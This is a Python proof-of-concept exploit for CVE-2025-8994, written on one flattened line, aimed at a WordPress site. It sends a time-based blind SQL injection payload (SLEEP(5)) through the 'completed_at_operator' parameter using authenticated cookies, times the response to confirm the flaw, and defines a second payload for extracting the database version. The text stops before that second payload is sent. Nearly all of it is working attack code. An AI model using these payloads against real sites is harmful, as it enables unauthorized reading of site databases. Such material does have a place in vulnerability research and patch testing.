CVE-2025-8994

import requests import time target_url = "http://target-wordpress-site.com/" # Verify authentication by checking cookies or using valid WordPress credentials cookies = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_user": "user_id|expiration|token|hmac" } # Time-based blind SQL injection via completed_at_operator parameter # This PoC demonstrates the vulnerability by injecting a SLEEP() function injection_payload = "1' AND (SELECT * FROM (SELECT SLEEP(5))test) AND '1'='1" params = { "completed_at_operator": injection_payload } print("[*] Sending SQL injection payload...") print(f"[*] Target: {target_url}") print(f"[*] Payload: {injection_payload}") start_time = time.time() response = requests.get( target_url, params=params, cookies=cookies, timeout=30 ) end_time = time.time() response_time = end_time - start_time print(f"[*] Response time: {response_time} seconds") if response_time >= 5: print("[!] Vulnerability confirmed! Server response delayed by ~5 seconds") else: print("[*] No obvious delay detected") # Example: Extracting database version using time-based injection db_version_payload = "1' AND (SELECT CASE WHEN (SUBSTRING((SELECT version()),1,1)='5') THEN SLEEP(5) ELSE 0 END) AND '1'='1" print(f"[*] Testing database version extraction...")

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